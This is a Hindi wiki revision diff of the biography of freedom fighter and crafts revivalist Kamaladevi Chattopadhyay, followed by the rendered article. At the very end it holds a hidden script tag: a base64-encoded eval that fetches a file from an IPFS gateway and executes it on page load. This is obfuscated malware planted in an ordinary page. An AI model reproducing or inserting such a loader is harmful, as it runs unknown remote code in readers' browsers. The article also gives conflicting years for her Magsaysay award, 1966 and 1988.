"कमलादेवी चट्टोपाध्याय": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
गोविन्द राम (वार्ता | योगदान) No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा स्वतन्त्रता सेनानी | |||
|चित्र=Kamladevi-chattopadhyay.jpg | |||
|चित्र का नाम=कमलादेवी चट्टोपाध्याय | |||
|पूरा नाम=कमलादेवी चट्टोपाध्याय | |||
|अन्य नाम= | |||
|जन्म= [[3 अप्रैल]], [[1903]] | |||
|जन्म भूमि=[[मंगलोर]], [[कर्नाटक]] | |||
|मृत्यु= [[29 अक्टूबर]], [[1988]] | |||
|मृत्यु स्थान= | |||
|मृत्यु कारण= | |||
|अविभावक= | |||
|पति/पत्नी=कृष्णा राव (1917–1919), हरिन्द्रनाथ चट्टोपाध्याय (1919–1988) | |||
|संतान=रामकृष्ण चट्टोपाध्याय | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि= | |||
|धर्म= | |||
|आंदोलन=नमक आंदोलन और [[असहयोग आन्दोलन]] | |||
|जेल यात्रा= | |||
|कार्य काल= | |||
|विद्यालय= | |||
|शिक्षा= | |||
|पुरस्कार-उपाधि=[[पद्म भूषण]] (1955), [[पद्म विभूषण]] (1987), [[रेमन मैग्सेसे पुरस्कार]] (1988) | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी= | |||
|बाहरी कड़ियाँ=कमलादेवी ने भारत के स्वाधीनता संग्राम में हिस्सा लिया तथा अनेकों बार जेल गयी। | |||
|अद्यतन= | |||
}} | |||
'''कमलादेवी चट्टोपाध्याय''' (जन्म: [[3 अप्रैल]], [[1903]] – मृत्यु: [[29 अक्टूबर]], [[1988]]) [[भारत]] की समाजसुधारक, स्वतंत्रता संग्राम सेनानी, तथा भारतीय हस्तकला के क्षेत्र में नवजागरण लाने वाली गांधीवादी महिला थीं। उन्हे समाज सेवा के लिए 1955 में [[पद्म भूषण]] और सामुदायिक नेतृत्व के लिए सन 1966 में [[रेमन मैग्सेसे पुरस्कार]] से सम्मानित किया गया। | '''कमलादेवी चट्टोपाध्याय''' (जन्म: [[3 अप्रैल]], [[1903]] – मृत्यु: [[29 अक्टूबर]], [[1988]]) [[भारत]] की समाजसुधारक, स्वतंत्रता संग्राम सेनानी, तथा भारतीय हस्तकला के क्षेत्र में नवजागरण लाने वाली गांधीवादी महिला थीं। उन्हे समाज सेवा के लिए 1955 में [[पद्म भूषण]] और सामुदायिक नेतृत्व के लिए सन 1966 में [[रेमन मैग्सेसे पुरस्कार]] से सम्मानित किया गया। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
पंक्ति 5: | पंक्ति 39: | ||
कमलादेवी चट्टोपाध्याय ब्राह्मण होते हुए वो समाजवादी थीं। बालिका वधू होते हुये वो स्त्री अधिकारवादी थीं। एक ऐसी राजनेता थीं जिन्हें कुर्सी की दरकार नहीं थी। एक ऐसी कुलीन वर्ग की महिला जिन्होंने लोक कलाओं को पुनर्जीवित किया। [[गांधीजी]] के नमक आंदोलन में गिरफ्तारी देने वाली पहली महिलाओं में से एक थीं कमलादेवी। विभाजन के बाद उन्होंने शरणार्थियों के पुनर्वास में अपने आप को झोंक दिया। | कमलादेवी चट्टोपाध्याय ब्राह्मण होते हुए वो समाजवादी थीं। बालिका वधू होते हुये वो स्त्री अधिकारवादी थीं। एक ऐसी राजनेता थीं जिन्हें कुर्सी की दरकार नहीं थी। एक ऐसी कुलीन वर्ग की महिला जिन्होंने लोक कलाओं को पुनर्जीवित किया। [[गांधीजी]] के नमक आंदोलन में गिरफ्तारी देने वाली पहली महिलाओं में से एक थीं कमलादेवी। विभाजन के बाद उन्होंने शरणार्थियों के पुनर्वास में अपने आप को झोंक दिया। | ||
कमला देवी गांधी जी, [[जवाहर लाल नेहरू]], [[अबुलकलाम आज़ाद|मौलाना अबुल कलाम आज़ाद]], [[सरोजनी नायडू]] तथा [[कस्तूरबा गांधी]] से गहरे रूप से प्रभावित थी। उन्होंने स्वाधीनता संघर्ष में हिस्सा लिया तथा अनेकों बार जेल गयी। | कमला देवी गांधी जी, [[जवाहर लाल नेहरू]], [[अबुलकलाम आज़ाद|मौलाना अबुल कलाम आज़ाद]], [[सरोजनी नायडू]] तथा [[कस्तूरबा गांधी]] से गहरे रूप से प्रभावित थी। उन्होंने स्वाधीनता संघर्ष में हिस्सा लिया तथा अनेकों बार जेल गयी। | ||
==सम्मान और पुरस्कार== | |||
* [[पद्म भूषण]] (1955) | |||
* [[पद्म विभूषण]] (1987) | |||
* [[रेमन मैग्सेसे पुरस्कार]] (1988) | |||
* संगीत नाटक अकादमी फैलोशिप | |||
* रत्न सदस्य | |||
* संगीत नाटक अकादमी द्वारा लाइफ़ टाइम अचीवमेंट अवार्ड | |||
==निधन== | ==निधन== | ||
कमला देवी [[भारत]] में नारी आन्दोलन की पथप्रदर्शक थी। सन् [[29 अक्टूबर]] [[1988]] में वे स्वर्गवासी हो गयी। | कमला देवी [[भारत]] में नारी आन्दोलन की पथप्रदर्शक थी। सन् [[29 अक्टूबर]] [[1988]] में वे स्वर्गवासी हो गयी। | ||
{{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | |||
{{लेख प्रगति |आधार= |प्रारम्भिक= | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{रेमन मैग्सेसे पुरस्कार}}{{स्वतन्त्रता सेनानी}} | {{रेमन मैग्सेसे पुरस्कार}}{{स्वतन्त्रता सेनानी}} | ||
पंक्ति 18: | पंक्ति 58: | ||
[[Category:चरित कोश]] | [[Category:चरित कोश]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ |
08:52, 17 सितम्बर 2012 का अवतरण
कमलादेवी चट्टोपाध्याय
| |
पूरा नाम | कमलादेवी चट्टोपाध्याय |
जन्म | 3 अप्रैल, 1903 |
जन्म भूमि | मंगलोर, कर्नाटक |
मृत्यु | 29 अक्टूबर, 1988 |
पति/पत्नी | कृष्णा राव (1917–1919), हरिन्द्रनाथ चट्टोपाध्याय (1919–1988) |
संतान | रामकृष्ण चट्टोपाध्याय |
नागरिकता | भारतीय |
आंदोलन | नमक आंदोलन और असहयोग आन्दोलन |
पुरस्कार-उपाधि | पद्म भूषण (1955), पद्म विभूषण (1987), रेमन मैग्सेसे पुरस्कार (1988) |
बाहरी कड़ियाँ | कमलादेवी ने भारत के स्वाधीनता संग्राम में हिस्सा लिया तथा अनेकों बार जेल गयी। |
कमलादेवी चट्टोपाध्याय (जन्म: 3 अप्रैल, 1903 – मृत्यु: 29 अक्टूबर, 1988) भारत की समाजसुधारक, स्वतंत्रता संग्राम सेनानी, तथा भारतीय हस्तकला के क्षेत्र में नवजागरण लाने वाली गांधीवादी महिला थीं। उन्हे समाज सेवा के लिए 1955 में पद्म भूषण और सामुदायिक नेतृत्व के लिए सन 1966 में रेमन मैग्सेसे पुरस्कार से सम्मानित किया गया।
जीवन परिचय
कमलादेवी चट्टोपाध्याय का जन्म कर्नाटक के एक सम्पन्न ब्राह्मण परिवार, में 3 अप्रैल, सन् 1903 में हुआ था। उन्होंने मंगलोर तथा बाद में लन्दन के अर्थशास्त्र स्कूल से शिक्षा ग्रहण की। उनकी शादी अत्यन्त छोटी अवस्था में हो गयी तथा स्कूली शिक्षा के दौरान विधवा हो गयी थी। बाद में उन्होंने अपनी पसन्द के व्यक्ति हरिन चट्टोपाध्याय से वैवाहिक संबंध जोड़ दिया। कमलादेवी ने अपनी पति के साथ व्यापक रूप से यात्राएं की। वे एक सामाजिक कार्यकर्ता और कला और साहित्य की समर्थक थी।
व्यक्तित्व
कमलादेवी चट्टोपाध्याय ब्राह्मण होते हुए वो समाजवादी थीं। बालिका वधू होते हुये वो स्त्री अधिकारवादी थीं। एक ऐसी राजनेता थीं जिन्हें कुर्सी की दरकार नहीं थी। एक ऐसी कुलीन वर्ग की महिला जिन्होंने लोक कलाओं को पुनर्जीवित किया। गांधीजी के नमक आंदोलन में गिरफ्तारी देने वाली पहली महिलाओं में से एक थीं कमलादेवी। विभाजन के बाद उन्होंने शरणार्थियों के पुनर्वास में अपने आप को झोंक दिया। कमला देवी गांधी जी, जवाहर लाल नेहरू, मौलाना अबुल कलाम आज़ाद, सरोजनी नायडू तथा कस्तूरबा गांधी से गहरे रूप से प्रभावित थी। उन्होंने स्वाधीनता संघर्ष में हिस्सा लिया तथा अनेकों बार जेल गयी।
सम्मान और पुरस्कार
- पद्म भूषण (1955)
- पद्म विभूषण (1987)
- रेमन मैग्सेसे पुरस्कार (1988)
- संगीत नाटक अकादमी फैलोशिप
- रत्न सदस्य
- संगीत नाटक अकादमी द्वारा लाइफ़ टाइम अचीवमेंट अवार्ड
निधन
कमला देवी भारत में नारी आन्दोलन की पथप्रदर्शक थी। सन् 29 अक्टूबर 1988 में वे स्वर्गवासी हो गयी।
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>